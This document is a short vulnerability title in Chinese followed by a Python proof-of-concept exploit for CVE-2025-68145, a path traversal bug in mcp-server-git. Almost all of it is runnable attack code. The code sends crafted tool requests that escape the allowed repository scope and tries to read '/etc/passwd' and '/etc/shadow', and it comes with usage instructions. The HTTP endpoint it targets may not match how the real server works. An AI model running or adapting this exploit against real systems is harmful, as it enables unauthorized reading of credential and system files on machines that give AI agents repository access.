CVE-2025-68145 | mcp-server-git 路径遍历访问控制绕过漏洞

# CVE-2025-68145 PoC - Path Traversal in mcp-server-git # Target: mcp-server-git < 2025.12.17 # Vulnerability: Path traversal via repo_path parameter when --repository flag is set import json import requests import sys def exploit_cve_2025_68145(target_url, allowed_repo_path, target_repo_path): """ Exploit path traversal vulnerability in mcp-server-git Args: target_url: Base URL of the vulnerable mcp-server-git instance allowed_repo_path: Path configured with --repository flag target_repo_path: Path to a repository outside allowed_repo_path """ # Construct malicious request payload = { "tool": "git_read_file", "params": { "repo_path": target_repo_path, # Path outside allowed scope "file_path": "../../etc/passwd" # Path traversal attempt } } # Send exploit request try: response = requests.post( f"{target_url}/tools/execute", json=payload, headers={"Content-Type": "application/json"}, timeout=10 ) print(f"[*] Request sent to {target_url}") print(f"[*] Target repo path: {target_repo_path}") print(f"[*] Allowed repo path: {allowed_repo_path}") print(f"[*] Response status: {response.status_code}") if response.status_code == 200: data = response.json() if "result" in data: print("[+] Exploit successful! Read arbitrary file:") print(data["result"]) return True print("[-] Exploit may have failed or target is patched") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2025-68145""" # Attempt to access restricted repository malicious_payload = { "tool": "git_log", "params": { "repo_path": "/etc/shadow" # Non-git directory to test path validation } } try: response = requests.post( f"{target_url}/tools/execute", json=malicious_payload, timeout=10 ) # If no error about path validation, target may be vulnerable if response.status_code == 200: return True return False except: return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2025-68145.py <target_url> <allowed_repo> <target_repo>") print("Example: python cve-2025-68145.py http://localhost:8080 /data/allowed-repo /data/sensitive-repo") sys.exit(1) target_url = sys.argv[1] allowed_repo = sys.argv[2] target_repo = sys.argv[3] print("="*60) print("CVE-2025-68145 - mcp-server-git Path Traversal Exploit") print("="*60) exploit_cve_2025_68145(target_url, allowed_repo, target_repo)